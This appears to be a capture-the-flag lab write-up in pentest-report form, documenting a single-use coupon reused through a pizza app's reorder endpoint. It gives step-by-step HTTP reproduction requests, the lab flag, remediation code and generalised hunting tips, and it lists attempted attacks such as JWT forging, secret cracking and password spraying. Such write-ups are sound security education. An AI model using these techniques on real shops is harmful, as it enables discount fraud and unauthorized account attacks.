BugForge — 2026.07.14

Cheesy Does It: Single-Use Coupon Reuse via Reorder

BugForge Single-Use Coupon Reuse via Reorder easy

Part 1: Pentest Report

Executive Summary

“Cheesy Does It” is a premium-pizza-delivery web application: a React single-page frontend over a JSON REST API under /api/*, with JWT (HS256) bearer authentication and server-side role derivation. The engagement set out to find the designed vulnerability and capture the flag. Every standard authentication, injection, and object-authorization vector was well defended; the finding is a business-logic flaw in the order-reorder workflow.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Single-use coupon reused via the reorder endpoint Medium 4.3 CWE-841, CWE-837 POST /api/orders/{id}/reorder

The reorder endpoint accepts a coupon code supplied by the client and re-applies it without re-running the eligibility check that primary checkout enforces. The FOUNDERS20 new-customer promotion, restricted to a customer’s first order at checkout, can be applied again on any repeat order through reorder, an unlimited number of times. The application tracks this abuse with a coupon_reused state flag and returns the flag inline the moment that flag flips true.


Objective

Identify the designed vulnerability in an easy-rated BugForge web application and capture the flag, working from an unauthenticated starting position with open self-service registration.


Scope / Initial Access

# Target Application
URL: https://lab-1783977968312-unfg6u.labs-app.bugforge.io/

# Auth details
Registration: POST /api/register (open, self-service) -> {token, user}
Session:      JWT HS256, Bearer token in localStorage.token
JWT payload:  {id, username, iat} only  (NO role claim)
Role source:  server derives role + loyalty_points from DB by id
Start privs:  standard "user" role (self-registered account)

The lab is provisioned as a short-lived, per-instance deployment and was redeployed several times during testing. The URL above is the instance assigned at the start of the engagement; the reproduction blocks below were captured against a later instance of the same target (lab-1783993458398-vdwoqt.labs-app.bugforge.io).

The JWT carries only id, username, and iat. The server derives the account’s role and loyalty balance from the database using the id, so the token itself exposes no privilege field to tamper with. The /admin route in the frontend is gated on user.role === "admin" on the client only; backend enforcement was tested separately (see Failed Approaches).


Reconnaissance: Reading the React Bundle

The application ships a single unminified-enough JavaScript bundle (/static/js/main.18994b2a.js) whose axios instance exposes the full endpoint-and-verb matrix. Mapping the client’s API calls gave the complete surface without guessing, which shaped the test plan below.

  1. The JWT payload is {id, username, iat} with no role claim, so vertical privilege escalation would need either a forged token accepted by the server or a server-side role lookup that could be influenced. This motivated the JWT forging and mass-assignment probes.
  2. Every response carried access-control-allow-origin: *, and role plus loyalty balance are resolved server-side by id. Client-side privilege data is therefore advisory only.
  3. The order-creation flow is multi-step: POST /api/payment/validate then POST /api/payment/process mint a payment_token, which POST /api/orders then consumes. Order total is recomputed server-side and checked against the paid amount.
  4. Alongside primary checkout, the bundle exposes a convenience endpoint, POST /api/orders/{id}/reorder, that re-creates a prior order. Convenience endpoints that re-create state are prime candidates for skipping a guard the primary flow enforces, which became the winning line of inquiry.

Application Architecture

Component Detail
Frontend React single-page application, single bundle /static/js/main.18994b2a.js (axios instance for all API calls)
Backend JSON REST API under /api/* (Node/Express-style, inferred from the JSON error format; not confirmed)
Auth JWT HS256, Authorization: Bearer from localStorage.token; payload {id, username, iat}; role resolved server-side by id
Database SQL-backed; integer boolean flags observed on records (for example is_active:1)

API Surface (relevant subset)

Endpoint Method Auth Notes
/api/register POST No Open self-service; returns {token, user}
/api/verify-token GET Yes Returns {user:{...,role,loyalty_points}}
/api/payment/validate POST Yes Returns payment_token
/api/payment/process POST Yes Completes the payment session
/api/orders POST Yes Creates an order; server recomputes total vs paid amount
/api/orders/{id} GET Yes Ownership-scoped
/api/orders/{id}/reorder POST Yes Re-creates an order; re-applies a client-supplied coupon (F1)
/api/coupons/apply POST Yes Applies a coupon at checkout (eligibility enforced)
/api/admin/* GET/POST/PUT/DELETE Yes (admin) Backend role check enforced (403 for non-admin)

Known Users

Username ID Role
our test account 20 user (self-registered)
seeded accounts lower ids not enumerated; an admin account was confirmed to exist through the login flow

Attack Chain Visualization

┌───────────────┐   ┌───────────────┐   ┌───────────────┐   ┌────────────────────┐
│ Register      │   │ Mock payment  │   │ Seed order    │   │ Reorder + coupon   │
│ open self-    │──▶│ validate +    │──▶│ we own        │──▶│ FOUNDERS20 in body │
│ service JWT   │   │ process       │   │ (id 62)       │   │ coupon_reused=true │
└───────────────┘   └───────────────┘   └───────────────┘   └─────────┬──────────┘
                                                                       │
                                                                       ▼
                                                            ┌────────────────────┐
                                                            │ flag returned      │
                                                            │ inline, total 8.79 │
                                                            └────────────────────┘

Findings

F1: Single-use coupon reused via the reorder endpoint

Severity: Medium CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) CWE: CWE-841 (Improper Enforcement of Behavioral Workflow), CWE-837 (Improper Enforcement of a Single, Unique Action) Endpoint: POST /api/orders/{id}/reorder Authentication required: Yes (any self-registered user, owning the referenced order)

Description

Primary checkout enforces the FOUNDERS20 promotion as a first-order-only, single-use new-customer discount. The reorder handler accepts a coupon_code in the request body and re-applies it when re-creating the order, without re-running that eligibility check.

The result is observable in the response envelope. A reorder with no coupon returns coupon_reused:false and total:10.99 (the full price). The same reorder with {"coupon_code":"FOUNDERS20"} returns coupon_reused:true, coupon_discount:2.2, total:8.79, and the flag inline. Only a valid-but-ineligible coupon triggers the reuse; an invalid code returns “Invalid or inactive coupon code”. The path is ownership-scoped (reorder of an order you do not own returns 404) but otherwise unlimited: every reorder plus FOUNDERS20 re-applies the discount.

Impact

Could negatively affect the business bottom line by letting any customer re-apply a one-time new-customer discount on unlimited repeat orders.

Reproduction

Step 1: Register a new account

POST /api/register HTTP/2
Host: lab-1783993458398-vdwoqt.labs-app.bugforge.io
Content-Type: application/json

{"username":"kc28856","email":"[email protected]","password":"Passw0rd!1","full_name":"P","phone":"5551234567","address":"12 Forge Road"}

Response: {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","user":{"id":20,...}}. The bearer token from this response is used as Authorization: Bearer <token> on every request below.

Step 2: Validate payment to obtain a payment token

POST /api/payment/validate HTTP/2
Host: lab-1783993458398-vdwoqt.labs-app.bugforge.io
Authorization: Bearer <token>
Content-Type: application/json

{"card_number":"4444 4444 4444 4444","exp_month":"12","exp_year":"25","cvv":"123","amount":10.99}

Response: {"valid":true,"message":"Card validated successfully","payment_token":"212dc020-f3be-466f-978e-604b00958c2e"}. Payment is mocked; the returned payment_token is required by the order call.

Step 3: Process payment to complete the session

POST /api/payment/process HTTP/2
Host: lab-1783993458398-vdwoqt.labs-app.bugforge.io
Authorization: Bearer <token>
Content-Type: application/json

{"card_number":"4444 4444 4444 4444","exp_month":"12","exp_year":"25","cvv":"123","amount":10.99,"payment_token":"212dc020-f3be-466f-978e-604b00958c2e"}

Response: {"success":true,"transaction_id":"TXN-1783995976827",...}. The payment session is now complete for that token.

Step 4: Place one legitimate order we own (seed)

POST /api/orders HTTP/2
Host: lab-1783993458398-vdwoqt.labs-app.bugforge.io
Authorization: Bearer <token>
Content-Type: application/json

{"items":[{"pizza_name":"Classic Margherita","base_name":"Thin Crust","sauce_name":"Classic Tomato","size":"Medium","toppings":[],"quantity":1,"unit_price":10.99,"total_price":10.99,"id":1}],"delivery_address":"12 Forge Road","phone":"5551234567","payment_method":"card","notes":"","payment_token":"212dc020-f3be-466f-978e-604b00958c2e","coupon_code":null,"points_to_use":0}

Response: {"id":62,"order_number":"CDI-1783995977002-OWOMC948D","status":"received","subtotal":10.99,"coupon_discount":0,"total":10.99,...}. The order id (62) is the target of the reorder.

Step 5: Reorder with the first-order-only coupon in the body

POST /api/orders/62/reorder HTTP/2
Host: lab-1783993458398-vdwoqt.labs-app.bugforge.io
Authorization: Bearer <token>
Content-Type: application/json

{"coupon_code":"FOUNDERS20"}

Response:

{"id":63,"order_number":"CDI-1783995977204-X93DRM7RY","message":"Reorder placed successfully — promo applied","status":"received","subtotal":10.99,"coupon_code":"FOUNDERS20","coupon_discount":2.2,"coupon_reused":true,"points_earned":8,"total":8.79,"flag":"bug{goKwwDOOSwWb0tUoglPQkvOKNQwBBOsR}"}

The single-use promotion is re-applied on a repeat order: coupon_reused:true, total drops from 10.99 to 8.79, and the flag is returned inline. The reorder body carries only the coupon code and no payment_token; unlike the initial order in Step 4, the reorder path does not require a fresh payment token.

Flag: bug{goKwwDOOSwWb0tUoglPQkvOKNQwBBOsR}

Remediation

Fix 1: Re-run coupon eligibility in the reorder path

The reorder handler applies a coupon without the eligibility gate that primary checkout runs. Route every order-creating path through the same eligibility check.

// BEFORE (Vulnerable): reorder re-applies whatever coupon the client sends
async function reorder(req, res) {
  const order = await getOrder(req.params.id, req.user.id); // ownership OK
  const { coupon_code } = req.body;
  let discount = 0;
  if (coupon_code) {
    const coupon = await getCoupon(coupon_code);
    discount = applyCoupon(coupon, order.subtotal); // no eligibility re-check
  }
  // ... creates a new order with the discount applied
}

// AFTER (Secure): same eligibility rules as primary checkout
async function reorder(req, res) {
  const order = await getOrder(req.params.id, req.user.id);
  const { coupon_code } = req.body;
  let discount = 0;
  if (coupon_code) {
    const coupon = await getCoupon(coupon_code);
    // enforce first-order / single-use / per-user redemption limits
    await assertCouponEligible(coupon, req.user.id);
    discount = applyCoupon(coupon, order.subtotal);
  }
  // ...
}

Additional recommendations:

  • Centralize coupon eligibility in one function that every order-creating endpoint (checkout, reorder, any future clone/retry path) must call. Duplicated discount logic is what let one path drift out of sync with the guard.
  • Record coupon redemptions per user server-side and enforce the single-use / first-order limit against that record, not against transient request state.
  • Do not return internal state flags (such as coupon_reused) to the client. They name the guarded code path for an attacker.

OWASP Top 10 Coverage

  • A04:2021 Insecure Design: The single-use constraint on the FOUNDERS20 promotion is enforced at primary checkout but not in the reorder path, a workflow-design gap rather than a coding bug in either handler alone. The matching OWASP API risk is API6:2023 Unrestricted Access to Sensitive Business Flows: the reorder flow re-creates a discounted order without the business rule that makes the discount single-use.

Tools Used

Tool Purpose
curl Manual API requests and the reproduction chain (HTTP/2)
React bundle / source review Mapping the full endpoint-and-verb API surface from main.js
jwtforge JWT forging attempts (alg:none, id substitution)
hashcat Attempted HS256 secret recovery (rockyou plus JWT and themed wordlists)

References

  • CWE-841: Improper Enforcement of Behavioral Workflow: https://cwe.mitre.org/data/definitions/841.html
  • CWE-837: Improper Enforcement of a Single, Unique Action: https://cwe.mitre.org/data/definitions/837.html
  • OWASP Top 10 2021 A04: Insecure Design: https://owasp.org/Top10/A04_2021-Insecure_Design/
  • OWASP API Security Top 10 2023 API6: Unrestricted Access to Sensitive Business Flows: https://owasp.org/API-Security/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows/

Part 2: Notes / Knowledge

Key Learnings

  • Read the full response envelope for server-volunteered state-flags, and trigger any that default to the safe value. When a response carries a boolean or status field the client never sent (names like *_reused, *_applied, *_verified, *_granted, is_*) sitting at its safe default, treat it as the server advertising a guarded code path rather than a passive fact to log and move on. Here, coupon_reused:false appeared on the first plain reorder; it names the exact condition the reorder handler tracks, and supplying the matching input (coupon_code in the body) flipped it to true and delivered the flag inline. The server only tracks a state because some path can reach it, so the field name is effectively a label for the exploit.

  • Feed the primary flow’s parameters into convenience and duplicate endpoints, and test each guard independently there. Endpoints added for convenience (reorder, clone, duplicate, retry, “buy again,” import-from) re-create the primary object but frequently omit the primary flow’s re-validation. Send the core flow’s inputs (coupon code, points, amount, price, item overrides) into the shortcut’s body and check whether each eligibility, pricing, and authorization guard the primary flow enforces is re-run, probing the input space as a batch rather than one guessed payload. In this engagement, checkout enforced FOUNDERS20 as first-order-only while the reorder path re-applied a coupon supplied by the client with no eligibility re-check, giving unlimited reuse. The same class covers price integrity, quantity and limit bypasses, and authorization drift on the duplicate path.


Failed Approaches

Approach Result Why It Failed
Broken function-level authorization on /api/admin/* (all verbs) 403 “Admin access required” Backend re-checks role on admin routes; the client-side gate is not the only control
JWT alg:none and forged tokens “Invalid token” Server rejects unsigned tokens
HS256 secret cracking Uncracked Secret not in rockyou, jwt-common, or 48 themed candidates
Header-based admin bypass (X-Role, X-Admin, X-Forwarded-*) 403 Role not taken from client headers
Mass assignment on register and PUT profile (20 privilege field names) Role stays “user” Input whitelisted server-side
SQL injection / SSTI on login, coupon, review, ticket fields No injection Parameterized queries; inputs treated as literals
Admin password spray Rate-limited (~10 tries then “Too many”) Login throttling; admin account exists but not guessed
Object-level authorization on orders and tickets (cross-user read); cross-user reorder 404 Ownership enforced on read and on reorder
Price and points manipulation at checkout Rejected Server recomputes total from item names and toppings and enforces calculated == paid; points overspend and negative values blocked
File upload on /api/reviews/{id}/photo (html/svg/php) Rejected Real image-content validation
Replicating order placement with a pizza_id-plus-full-object item body Request hung 55 to 90 seconds, order row committed without items Wrong item schema; correct schema is {pizza_name, base_name, sauce_name, size, toppings:[names], quantity, unit_price, total_price, id}

Tags: #business-logic #coupon-reuse #reorder #insecure-design #bugforge Document Version: 1.0 Last Updated: 2026-07-14

#bugforge #webapp #business-logic #coupon-reuse #reorder #insecure-design #cwe-841 #cwe-837